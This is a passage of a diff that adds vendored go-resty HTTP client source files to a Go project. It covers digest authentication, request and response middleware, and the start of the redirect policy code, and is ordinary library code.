req2.Header[k] = s
|
||||
}
|
||||
|
||||
// Fix http: ContentLength=xxx with Body length 0
|
||||
if req2.Body == nil {
|
||||
req2.ContentLength = 0
|
||||
} else if req2.GetBody != nil {
|
||||
var err error
|
||||
req2.Body, err = req2.GetBody()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
// Make a request to get the 401 that contains the challenge.
|
||||
resp, err := dt.transport.RoundTrip(req)
|
||||
if err != nil || resp.StatusCode != http.StatusUnauthorized {
|
||||
return resp, err
|
||||
}
|
||||
chal := resp.Header.Get(hdrWwwAuthenticateKey)
|
||||
if chal == "" {
|
||||
return resp, ErrDigestBadChallenge
|
||||
}
|
||||
|
||||
c, err := parseChallenge(chal)
|
||||
if err != nil {
|
||||
return resp, err
|
||||
}
|
||||
|
||||
// Form credentials based on the challenge
|
||||
cr := dt.newCredentials(req2, c)
|
||||
auth, err := cr.authorize()
|
||||
if err != nil {
|
||||
return resp, err
|
||||
}
|
||||
err = resp.Body.Close()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Make authenticated request
|
||||
req2.Header.Set(hdrAuthorizationKey, auth)
|
||||
return dt.transport.RoundTrip(req2)
|
||||
}
|
||||
|
||||
func (dt *digestTransport) newCredentials(req *http.Request, c *challenge) *credentials {
|
||||
return &credentials{
|
||||
username: dt.username,
|
||||
userhash: c.userhash,
|
||||
realm: c.realm,
|
||||
nonce: c.nonce,
|
||||
digestURI: req.URL.RequestURI(),
|
||||
algorithm: c.algorithm,
|
||||
sessionAlg: strings.HasSuffix(c.algorithm, "-sess"),
|
||||
opaque: c.opaque,
|
||||
messageQop: c.qop,
|
||||
nc: 0,
|
||||
method: req.Method,
|
||||
password: dt.password,
|
||||
}
|
||||
}
|
||||
|
||||
type challenge struct {
|
||||
realm string
|
||||
domain string
|
||||
nonce string
|
||||
opaque string
|
||||
stale string
|
||||
algorithm string
|
||||
qop string
|
||||
userhash string
|
||||
}
|
||||
|
||||
func parseChallenge(input string) (*challenge, error) {
|
||||
const ws = " \n\r\t"
|
||||
const qs = `"`
|
||||
s := strings.Trim(input, ws)
|
||||
if !strings.HasPrefix(s, "Digest ") {
|
||||
return nil, ErrDigestBadChallenge
|
||||
}
|
||||
s = strings.Trim(s[7:], ws)
|
||||
sl := strings.Split(s, ",")
|
||||
c := &challenge{}
|
||||
var r []string
|
||||
for i := range sl {
|
||||
sl[i] = strings.TrimSpace(sl[i])
|
||||
r = strings.SplitN(sl[i], "=", 2)
|
||||
if len(r) != 2 {
|
||||
return nil, ErrDigestBadChallenge
|
||||
}
|
||||
r[0] = strings.TrimSpace(r[0])
|
||||
r[1] = strings.TrimSpace(r[1])
|
||||
switch r[0] {
|
||||
case "realm":
|
||||
c.realm = strings.Trim(r[1], qs)
|
||||
case "domain":
|
||||
c.domain = strings.Trim(r[1], qs)
|
||||
case "nonce":
|
||||
c.nonce = strings.Trim(r[1], qs)
|
||||
case "opaque":
|
||||
c.opaque = strings.Trim(r[1], qs)
|
||||
case "stale":
|
||||
c.stale = strings.Trim(r[1], qs)
|
||||
case "algorithm":
|
||||
c.algorithm = strings.Trim(r[1], qs)
|
||||
case "qop":
|
||||
c.qop = strings.Trim(r[1], qs)
|
||||
case "charset":
|
||||
if strings.ToUpper(strings.Trim(r[1], qs)) != "UTF-8" {
|
||||
return nil, ErrDigestCharset
|
||||
}
|
||||
case "userhash":
|
||||
c.userhash = strings.Trim(r[1], qs)
|
||||
default:
|
||||
return nil, ErrDigestBadChallenge
|
||||
}
|
||||
}
|
||||
return c, nil
|
||||
}
|
||||
|
||||
type credentials struct {
|
||||
username string
|
||||
userhash string
|
||||
realm string
|
||||
nonce string
|
||||
digestURI string
|
||||
algorithm string
|
||||
sessionAlg bool
|
||||
cNonce string
|
||||
opaque string
|
||||
messageQop string
|
||||
nc int
|
||||
method string
|
||||
password string
|
||||
}
|
||||
|
||||
func (c *credentials) authorize() (string, error) {
|
||||
if _, ok := hashFuncs[c.algorithm]; !ok {
|
||||
return "", ErrDigestAlgNotSupported
|
||||
}
|
||||
|
||||
if err := c.validateQop(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
resp, err := c.resp()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
sl := make([]string, 0, 10)
|
||||
if c.userhash == "true" {
|
||||
// RFC 7616 3.4.4
|
||||
c.username = c.h(fmt.Sprintf("%s:%s", c.username, c.realm))
|
||||
sl = append(sl, fmt.Sprintf(`userhash=%s`, c.userhash))
|
||||
}
|
||||
sl = append(sl, fmt.Sprintf(`username="%s"`, c.username))
|
||||
sl = append(sl, fmt.Sprintf(`realm="%s"`, c.realm))
|
||||
sl = append(sl, fmt.Sprintf(`nonce="%s"`, c.nonce))
|
||||
sl = append(sl, fmt.Sprintf(`uri="%s"`, c.digestURI))
|
||||
sl = append(sl, fmt.Sprintf(`response="%s"`, resp))
|
||||
sl = append(sl, fmt.Sprintf(`algorithm=%s`, c.algorithm))
|
||||
if c.opaque != "" {
|
||||
sl = append(sl, fmt.Sprintf(`opaque="%s"`, c.opaque))
|
||||
}
|
||||
if c.messageQop != "" {
|
||||
sl = append(sl, fmt.Sprintf("qop=%s", c.messageQop))
|
||||
sl = append(sl, fmt.Sprintf("nc=%08x", c.nc))
|
||||
sl = append(sl, fmt.Sprintf(`cnonce="%s"`, c.cNonce))
|
||||
}
|
||||
|
||||
return fmt.Sprintf("Digest %s", strings.Join(sl, ", ")), nil
|
||||
}
|
||||
|
||||
func (c *credentials) validateQop() error {
|
||||
// Currently only supporting auth quality of protection. TODO: add auth-int support
|
||||
// NOTE: cURL support auth-int qop for requests other than POST and PUT (i.e. w/o body) by hashing an empty string
|
||||
// is this applicable for resty? see: https://github.com/curl/curl/blob/307b7543ea1e73ab04e062bdbe4b5bb409eaba3a/lib/vauth/digest.c#L774
|
||||
if c.messageQop == "" {
|
||||
return ErrDigestNoQop
|
||||
}
|
||||
possibleQops := strings.Split(c.messageQop, ", ")
|
||||
var authSupport bool
|
||||
for _, qop := range possibleQops {
|
||||
if qop == "auth" {
|
||||
authSupport = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !authSupport {
|
||||
return ErrDigestQopNotSupported
|
||||
}
|
||||
|
||||
c.messageQop = "auth"
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *credentials) h(data string) string {
|
||||
hfCtor := hashFuncs[c.algorithm]
|
||||
hf := hfCtor()
|
||||
_, _ = hf.Write([]byte(data)) // Hash.Write never returns an error
|
||||
return fmt.Sprintf("%x", hf.Sum(nil))
|
||||
}
|
||||
|
||||
func (c *credentials) resp() (string, error) {
|
||||
c.nc++
|
||||
|
||||
b := make([]byte, 16)
|
||||
_, err := io.ReadFull(rand.Reader, b)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
c.cNonce = fmt.Sprintf("%x", b)[:32]
|
||||
|
||||
ha1 := c.ha1()
|
||||
ha2 := c.ha2()
|
||||
|
||||
return c.kd(ha1, fmt.Sprintf("%s:%08x:%s:%s:%s",
|
||||
c.nonce, c.nc, c.cNonce, c.messageQop, ha2)), nil
|
||||
}
|
||||
|
||||
func (c *credentials) kd(secret, data string) string {
|
||||
return c.h(fmt.Sprintf("%s:%s", secret, data))
|
||||
}
|
||||
|
||||
// RFC 7616 3.4.2
|
||||
func (c *credentials) ha1() string {
|
||||
ret := c.h(fmt.Sprintf("%s:%s:%s", c.username, c.realm, c.password))
|
||||
if c.sessionAlg {
|
||||
return c.h(fmt.Sprintf("%s:%s:%s", ret, c.nonce, c.cNonce))
|
||||
}
|
||||
|
||||
return ret
|
||||
}
|
||||
|
||||
// RFC 7616 3.4.3
|
||||
func (c *credentials) ha2() string {
|
||||
// currently no auth-int support
|
||||
return c.h(fmt.Sprintf("%s:%s", c.method, c.digestURI))
|
||||
}
|
589
vendor/github.com/go-resty/resty/v2/middleware.go
generated
vendored
Normal file
589
vendor/github.com/go-resty/resty/v2/middleware.go
generated
vendored
Normal file
@ -0,0 +1,589 @@
|
||||
// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.
|
||||
// resty source code and usage is governed by a MIT style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package resty
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const debugRequestLogKey = "__restyDebugRequestLog"
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// Request Middleware(s)
|
||||
//_______________________________________________________________________
|
||||
|
||||
func parseRequestURL(c *Client, r *Request) error {
|
||||
if l := len(c.PathParams) + len(c.RawPathParams) + len(r.PathParams) + len(r.RawPathParams); l > 0 {
|
||||
params := make(map[string]string, l)
|
||||
|
||||
// GitHub #103 Path Params
|
||||
for p, v := range r.PathParams {
|
||||
params[p] = url.PathEscape(v)
|
||||
}
|
||||
for p, v := range c.PathParams {
|
||||
if _, ok := params[p]; !ok {
|
||||
params[p] = url.PathEscape(v)
|
||||
}
|
||||
}
|
||||
|
||||
// GitHub #663 Raw Path Params
|
||||
for p, v := range r.RawPathParams {
|
||||
if _, ok := params[p]; !ok {
|
||||
params[p] = v
|
||||
}
|
||||
}
|
||||
for p, v := range c.RawPathParams {
|
||||
if _, ok := params[p]; !ok {
|
||||
params[p] = v
|
||||
}
|
||||
}
|
||||
|
||||
if len(params) > 0 {
|
||||
var prev int
|
||||
buf := acquireBuffer()
|
||||
defer releaseBuffer(buf)
|
||||
// search for the next or first opened curly bracket
|
||||
for curr := strings.Index(r.URL, "{"); curr == 0 || curr > prev; curr = prev + strings.Index(r.URL[prev:], "{") {
|
||||
// write everything from the previous position up to the current
|
||||
if curr > prev {
|
||||
buf.WriteString(r.URL[prev:curr])
|
||||
}
|
||||
// search for the closed curly bracket from current position
|
||||
next := curr + strings.Index(r.URL[curr:], "}")
|
||||
// if not found, then write the remainder and exit
|
||||
if next < curr {
|
||||
buf.WriteString(r.URL[curr:])
|
||||
prev = len(r.URL)
|
||||
break
|
||||
}
|
||||
// special case for {}, without parameter's name
|
||||
if next == curr+1 {
|
||||
buf.WriteString("{}")
|
||||
} else {
|
||||
// check for the replacement
|
||||
key := r.URL[curr+1 : next]
|
||||
value, ok := params[key]
|
||||
/// keep the original string if the replacement not found
|
||||
if !ok {
|
||||
value = r.URL[curr : next+1]
|
||||
}
|
||||
buf.WriteString(value)
|
||||
}
|
||||
|
||||
// set the previous position after the closed curly bracket
|
||||
prev = next + 1
|
||||
if prev >= len(r.URL) {
|
||||
break
|
||||
}
|
||||
}
|
||||
if buf.Len() > 0 {
|
||||
// write remainder
|
||||
if prev < len(r.URL) {
|
||||
buf.WriteString(r.URL[prev:])
|
||||
}
|
||||
r.URL = buf.String()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Parsing request URL
|
||||
reqURL, err := url.Parse(r.URL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// If Request.URL is relative path then added c.HostURL into
|
||||
// the request URL otherwise Request.URL will be used as-is
|
||||
if !reqURL.IsAbs() {
|
||||
r.URL = reqURL.String()
|
||||
if len(r.URL) > 0 && r.URL[0] != '/' {
|
||||
r.URL = "/" + r.URL
|
||||
}
|
||||
|
||||
// TODO: change to use c.BaseURL only in v3.0.0
|
||||
baseURL := c.BaseURL
|
||||
if len(baseURL) == 0 {
|
||||
baseURL = c.HostURL
|
||||
}
|
||||
reqURL, err = url.Parse(baseURL + r.URL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// GH #407 && #318
|
||||
if reqURL.Scheme == "" && len(c.scheme) > 0 {
|
||||
reqURL.Scheme = c.scheme
|
||||
}
|
||||
|
||||
// Adding Query Param
|
||||
if len(c.QueryParam)+len(r.QueryParam) > 0 {
|
||||
for k, v := range c.QueryParam {
|
||||
// skip query parameter if it was set in request
|
||||
if _, ok := r.QueryParam[k]; ok {
|
||||
continue
|
||||
}
|
||||
|
||||
r.QueryParam[k] = v[:]
|
||||
}
|
||||
|
||||
// GitHub #123 Preserve query string order partially.
|
||||
// Since not feasible in `SetQuery*` resty methods, because
|
||||
// standard package `url.Encode(...)` sorts the query params
|
||||
// alphabetically
|
||||
if len(r.QueryParam) > 0 {
|
||||
if IsStringEmpty(reqURL.RawQuery) {
|
||||
reqURL.RawQuery = r.QueryParam.Encode()
|
||||
} else {
|
||||
reqURL.RawQuery = reqURL.RawQuery + "&" + r.QueryParam.Encode()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
r.URL = reqURL.String()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseRequestHeader(c *Client, r *Request) error {
|
||||
for k, v := range c.Header {
|
||||
if _, ok := r.Header[k]; ok {
|
||||
continue
|
||||
}
|
||||
r.Header[k] = v[:]
|
||||
}
|
||||
|
||||
if IsStringEmpty(r.Header.Get(hdrUserAgentKey)) {
|
||||
r.Header.Set(hdrUserAgentKey, hdrUserAgentValue)
|
||||
}
|
||||
|
||||
if ct := r.Header.Get(hdrContentTypeKey); IsStringEmpty(r.Header.Get(hdrAcceptKey)) && !IsStringEmpty(ct) && (IsJSONType(ct) || IsXMLType(ct)) {
|
||||
r.Header.Set(hdrAcceptKey, r.Header.Get(hdrContentTypeKey))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseRequestBody(c *Client, r *Request) error {
|
||||
if isPayloadSupported(r.Method, c.AllowGetMethodPayload) {
|
||||
switch {
|
||||
case r.isMultiPart: // Handling Multipart
|
||||
if err := handleMultipart(c, r); err != nil {
|
||||
return err
|
||||
}
|
||||
case len(c.FormData) > 0 || len(r.FormData) > 0: // Handling Form Data
|
||||
handleFormData(c, r)
|
||||
case r.Body != nil: // Handling Request body
|
||||
handleContentType(c, r)
|
||||
|
||||
if err := handleRequestBody(c, r); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// by default resty won't set content length, you can if you want to :)
|
||||
if c.setContentLength || r.setContentLength {
|
||||
if r.bodyBuf == nil {
|
||||
r.Header.Set(hdrContentLengthKey, "0")
|
||||
} else {
|
||||
r.Header.Set(hdrContentLengthKey, strconv.Itoa(r.bodyBuf.Len()))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func createHTTPRequest(c *Client, r *Request) (err error) {
|
||||
if r.bodyBuf == nil {
|
||||
if reader, ok := r.Body.(io.Reader); ok && isPayloadSupported(r.Method, c.AllowGetMethodPayload) {
|
||||
r.RawRequest, err = http.NewRequest(r.Method, r.URL, reader)
|
||||
} else if c.setContentLength || r.setContentLength {
|
||||
r.RawRequest, err = http.NewRequest(r.Method, r.URL, http.NoBody)
|
||||
} else {
|
||||
r.RawRequest, err = http.NewRequest(r.Method, r.URL, nil)
|
||||
}
|
||||
} else {
|
||||
// fix data race: must deep copy.
|
||||
bodyBuf := bytes.NewBuffer(append([]byte{}, r.bodyBuf.Bytes()...))
|
||||
r.RawRequest, err = http.NewRequest(r.Method, r.URL, bodyBuf)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Assign close connection option
|
||||
r.RawRequest.Close = c.closeConnection
|
||||
|
||||
// Add headers into http request
|
||||
r.RawRequest.Header = r.Header
|
||||
|
||||
// Add cookies from client instance into http request
|
||||
for _, cookie := range c.Cookies {
|
||||
r.RawRequest.AddCookie(cookie)
|
||||
}
|
||||
|
||||
// Add cookies from request instance into http request
|
||||
for _, cookie := range r.Cookies {
|
||||
r.RawRequest.AddCookie(cookie)
|
||||
}
|
||||
|
||||
// Enable trace
|
||||
if c.trace || r.trace {
|
||||
r.clientTrace = &clientTrace{}
|
||||
r.ctx = r.clientTrace.createContext(r.Context())
|
||||
}
|
||||
|
||||
// Use context if it was specified
|
||||
if r.ctx != nil {
|
||||
r.RawRequest = r.RawRequest.WithContext(r.ctx)
|
||||
}
|
||||
|
||||
bodyCopy, err := getBodyCopy(r)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// assign get body func for the underlying raw request instance
|
||||
r.RawRequest.GetBody = func() (io.ReadCloser, error) {
|
||||
if bodyCopy != nil {
|
||||
return io.NopCloser(bytes.NewReader(bodyCopy.Bytes())), nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func addCredentials(c *Client, r *Request) error {
|
||||
var isBasicAuth bool
|
||||
// Basic Auth
|
||||
if r.UserInfo != nil { // takes precedence
|
||||
r.RawRequest.SetBasicAuth(r.UserInfo.Username, r.UserInfo.Password)
|
||||
isBasicAuth = true
|
||||
} else if c.UserInfo != nil {
|
||||
r.RawRequest.SetBasicAuth(c.UserInfo.Username, c.UserInfo.Password)
|
||||
isBasicAuth = true
|
||||
}
|
||||
|
||||
if !c.DisableWarn {
|
||||
if isBasicAuth && !strings.HasPrefix(r.URL, "https") {
|
||||
r.log.Warnf("Using Basic Auth in HTTP mode is not secure, use HTTPS")
|
||||
}
|
||||
}
|
||||
|
||||
// Set the Authorization Header Scheme
|
||||
var authScheme string
|
||||
if !IsStringEmpty(r.AuthScheme) {
|
||||
authScheme = r.AuthScheme
|
||||
} else if !IsStringEmpty(c.AuthScheme) {
|
||||
authScheme = c.AuthScheme
|
||||
} else {
|
||||
authScheme = "Bearer"
|
||||
}
|
||||
|
||||
// Build the Token Auth header
|
||||
if !IsStringEmpty(r.Token) { // takes precedence
|
||||
r.RawRequest.Header.Set(c.HeaderAuthorizationKey, authScheme+" "+r.Token)
|
||||
} else if !IsStringEmpty(c.Token) {
|
||||
r.RawRequest.Header.Set(c.HeaderAuthorizationKey, authScheme+" "+c.Token)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func requestLogger(c *Client, r *Request) error {
|
||||
if r.Debug {
|
||||
rr := r.RawRequest
|
||||
rh := copyHeaders(rr.Header)
|
||||
if c.GetClient().Jar != nil {
|
||||
for _, cookie := range c.GetClient().Jar.Cookies(r.RawRequest.URL) {
|
||||
s := fmt.Sprintf("%s=%s", cookie.Name, cookie.Value)
|
||||
if c := rh.Get("Cookie"); c != "" {
|
||||
rh.Set("Cookie", c+"; "+s)
|
||||
} else {
|
||||
rh.Set("Cookie", s)
|
||||
}
|
||||
}
|
||||
}
|
||||
rl := &RequestLog{Header: rh, Body: r.fmtBodyString(c.debugBodySizeLimit)}
|
||||
if c.requestLog != nil {
|
||||
if err := c.requestLog(rl); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
reqLog := "\n==============================================================================\n" +
|
||||
"~~~ REQUEST ~~~\n" +
|
||||
fmt.Sprintf("%s %s %s\n", r.Method, rr.URL.RequestURI(), rr.Proto) +
|
||||
fmt.Sprintf("HOST : %s\n", rr.URL.Host) +
|
||||
fmt.Sprintf("HEADERS:\n%s\n", composeHeaders(c, r, rl.Header)) +
|
||||
fmt.Sprintf("BODY :\n%v\n", rl.Body) +
|
||||
"------------------------------------------------------------------------------\n"
|
||||
|
||||
r.initValuesMap()
|
||||
r.values[debugRequestLogKey] = reqLog
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// Response Middleware(s)
|
||||
//_______________________________________________________________________
|
||||
|
||||
func responseLogger(c *Client, res *Response) error {
|
||||
if res.Request.Debug {
|
||||
rl := &ResponseLog{Header: copyHeaders(res.Header()), Body: res.fmtBodyString(c.debugBodySizeLimit)}
|
||||
if c.responseLog != nil {
|
||||
if err := c.responseLog(rl); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
debugLog := res.Request.values[debugRequestLogKey].(string)
|
||||
debugLog += "~~~ RESPONSE ~~~\n" +
|
||||
fmt.Sprintf("STATUS : %s\n", res.Status()) +
|
||||
fmt.Sprintf("PROTO : %s\n", res.RawResponse.Proto) +
|
||||
fmt.Sprintf("RECEIVED AT : %v\n", res.ReceivedAt().Format(time.RFC3339Nano)) +
|
||||
fmt.Sprintf("TIME DURATION: %v\n", res.Time()) +
|
||||
"HEADERS :\n" +
|
||||
composeHeaders(c, res.Request, rl.Header) + "\n"
|
||||
if res.Request.isSaveResponse {
|
||||
debugLog += "BODY :\n***** RESPONSE WRITTEN INTO FILE *****\n"
|
||||
} else {
|
||||
debugLog += fmt.Sprintf("BODY :\n%v\n", rl.Body)
|
||||
}
|
||||
debugLog += "==============================================================================\n"
|
||||
|
||||
res.Request.log.Debugf("%s", debugLog)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseResponseBody(c *Client, res *Response) (err error) {
|
||||
if res.StatusCode() == http.StatusNoContent {
|
||||
res.Request.Error = nil
|
||||
return
|
||||
}
|
||||
// Handles only JSON or XML content type
|
||||
ct := firstNonEmpty(res.Request.forceContentType, res.Header().Get(hdrContentTypeKey), res.Request.fallbackContentType)
|
||||
if IsJSONType(ct) || IsXMLType(ct) {
|
||||
// HTTP status code > 199 and < 300, considered as Result
|
||||
if res.IsSuccess() {
|
||||
res.Request.Error = nil
|
||||
if res.Request.Result != nil {
|
||||
err = Unmarshalc(c, ct, res.body, res.Request.Result)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// HTTP status code > 399, considered as Error
|
||||
if res.IsError() {
|
||||
// global error interface
|
||||
if res.Request.Error == nil && c.Error != nil {
|
||||
res.Request.Error = reflect.New(c.Error).Interface()
|
||||
}
|
||||
|
||||
if res.Request.Error != nil {
|
||||
unmarshalErr := Unmarshalc(c, ct, res.body, res.Request.Error)
|
||||
if unmarshalErr != nil {
|
||||
c.log.Warnf("Cannot unmarshal response body: %s", unmarshalErr)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func handleMultipart(c *Client, r *Request) error {
|
||||
r.bodyBuf = acquireBuffer()
|
||||
w := multipart.NewWriter(r.bodyBuf)
|
||||
|
||||
for k, v := range c.FormData {
|
||||
for _, iv := range v {
|
||||
if err := w.WriteField(k, iv); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for k, v := range r.FormData {
|
||||
for _, iv := range v {
|
||||
if strings.HasPrefix(k, "@") { // file
|
||||
if err := addFile(w, k[1:], iv); err != nil {
|
||||
return err
|
||||
}
|
||||
} else { // form value
|
||||
if err := w.WriteField(k, iv); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// #21 - adding io.Reader support
|
||||
for _, f := range r.multipartFiles {
|
||||
if err := addFileReader(w, f); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// GitHub #130 adding multipart field support with content type
|
||||
for _, mf := range r.multipartFields {
|
||||
if err := addMultipartFormField(w, mf); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
r.Header.Set(hdrContentTypeKey, w.FormDataContentType())
|
||||
return w.Close()
|
||||
}
|
||||
|
||||
func handleFormData(c *Client, r *Request) {
|
||||
for k, v := range c.FormData {
|
||||
if _, ok := r.FormData[k]; ok {
|
||||
continue
|
||||
}
|
||||
r.FormData[k] = v[:]
|
||||
}
|
||||
|
||||
r.bodyBuf = acquireBuffer()
|
||||
r.bodyBuf.WriteString(r.FormData.Encode())
|
||||
r.Header.Set(hdrContentTypeKey, formContentType)
|
||||
r.isFormData = true
|
||||
}
|
||||
|
||||
func handleContentType(c *Client, r *Request) {
|
||||
contentType := r.Header.Get(hdrContentTypeKey)
|
||||
if IsStringEmpty(contentType) {
|
||||
contentType = DetectContentType(r.Body)
|
||||
r.Header.Set(hdrContentTypeKey, contentType)
|
||||
}
|
||||
}
|
||||
|
||||
func handleRequestBody(c *Client, r *Request) error {
|
||||
var bodyBytes []byte
|
||||
r.bodyBuf = nil
|
||||
|
||||
switch body := r.Body.(type) {
|
||||
case io.Reader:
|
||||
if c.setContentLength || r.setContentLength { // keep backward compatibility
|
||||
r.bodyBuf = acquireBuffer()
|
||||
if _, err := r.bodyBuf.ReadFrom(body); err != nil {
|
||||
return err
|
||||
}
|
||||
r.Body = nil
|
||||
} else {
|
||||
// Otherwise buffer less processing for `io.Reader`, sounds good.
|
||||
return nil
|
||||
}
|
||||
case []byte:
|
||||
bodyBytes = body
|
||||
case string:
|
||||
bodyBytes = []byte(body)
|
||||
default:
|
||||
contentType := r.Header.Get(hdrContentTypeKey)
|
||||
kind := kindOf(r.Body)
|
||||
var err error
|
||||
if IsJSONType(contentType) && (kind == reflect.Struct || kind == reflect.Map || kind == reflect.Slice) {
|
||||
r.bodyBuf, err = jsonMarshal(c, r, r.Body)
|
||||
} else if IsXMLType(contentType) && (kind == reflect.Struct) {
|
||||
bodyBytes, err = c.XMLMarshal(r.Body)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if bodyBytes == nil && r.bodyBuf == nil {
|
||||
return errors.New("unsupported 'Body' type/value")
|
||||
}
|
||||
|
||||
// []byte into Buffer
|
||||
if bodyBytes != nil && r.bodyBuf == nil {
|
||||
r.bodyBuf = acquireBuffer()
|
||||
_, _ = r.bodyBuf.Write(bodyBytes)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func saveResponseIntoFile(c *Client, res *Response) error {
|
||||
if res.Request.isSaveResponse {
|
||||
file := ""
|
||||
|
||||
if len(c.outputDirectory) > 0 && !filepath.IsAbs(res.Request.outputFile) {
|
||||
file += c.outputDirectory + string(filepath.Separator)
|
||||
}
|
||||
|
||||
file = filepath.Clean(file + res.Request.outputFile)
|
||||
if err := createDirectory(filepath.Dir(file)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
outFile, err := os.Create(file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer closeq(outFile)
|
||||
|
||||
// io.Copy reads maximum 32kb size, it is perfect for large file download too
|
||||
defer closeq(res.RawResponse.Body)
|
||||
|
||||
written, err := io.Copy(outFile, res.RawResponse.Body)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
res.size = written
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func getBodyCopy(r *Request) (*bytes.Buffer, error) {
|
||||
// If r.bodyBuf present, return the copy
|
||||
if r.bodyBuf != nil {
|
||||
bodyCopy := acquireBuffer()
|
||||
if _, err := io.Copy(bodyCopy, bytes.NewReader(r.bodyBuf.Bytes())); err != nil {
|
||||
// cannot use io.Copy(bodyCopy, r.bodyBuf) because io.Copy reset r.bodyBuf
|
||||
return nil, err
|
||||
}
|
||||
return bodyCopy, nil
|
||||
}
|
||||
|
||||
// Maybe body is `io.Reader`.
|
||||
// Note: Resty user have to watchout for large body size of `io.Reader`
|
||||
if r.RawRequest.Body != nil {
|
||||
b, err := io.ReadAll(r.RawRequest.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Restore the Body
|
||||
closeq(r.RawRequest.Body)
|
||||
r.RawRequest.Body = io.NopCloser(bytes.NewBuffer(b))
|
||||
|
||||
// Return the Body bytes
|
||||
return bytes.NewBuffer(b), nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
109
vendor/github.com/go-resty/resty/v2/redirect.go
generated
vendored
Normal file
109
vendor/github.com/go-resty/resty/v2/redirect.go
generated
vendored
Normal file
@ -0,0 +1,109 @@
|
||||
// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.
|
||||
// resty source code and usage is governed by a MIT style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package resty
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
// Since v2.8.0
|
||||
ErrAutoRedirectDisabled = errors.New("auto redirect is disabled")
|
||||
)
|
||||
|
||||
type (
|
||||
// RedirectPolicy to regulate the redirects in the resty client.
|
||||
// Objects implementing the RedirectPolicy interface can be registered as
|
||||
//
|
||||
// Apply function should return nil to continue the redirect journey, otherwise
|
||||
// return error to stop the redirect.
|
||||
RedirectPolicy interface {
|
||||
Apply(req *http.Request, via []*http.Request) error
|
||||
}
|
||||
|
||||
// The RedirectPolicyFunc type is an adapter to allow the use of ordinary functions as RedirectPolicy.
|
||||
// If f is a function with the appropriate signature, RedirectPolicyFunc(f) is a RedirectPolicy object that calls f.
|
||||
RedirectPolicyFunc func(*http.Request, []*http.Request) error
|
||||
)
|
||||
|
||||
// Apply calls f(req, via).
|
||||
func (f RedirectPolicyFunc) Apply(req *http.Request, via []*http.Request) error {
|
||||
return f(req, via)
|
||||
}
|
||||
|
||||
// NoRedirectPolicy is used to disable redirects in the HTTP client
|
||||
//
|
||||
// resty.SetRedirectPolicy(NoRedirectPolicy())
|
||||
func NoRedirectPolicy() RedirectPolicy {
|
||||
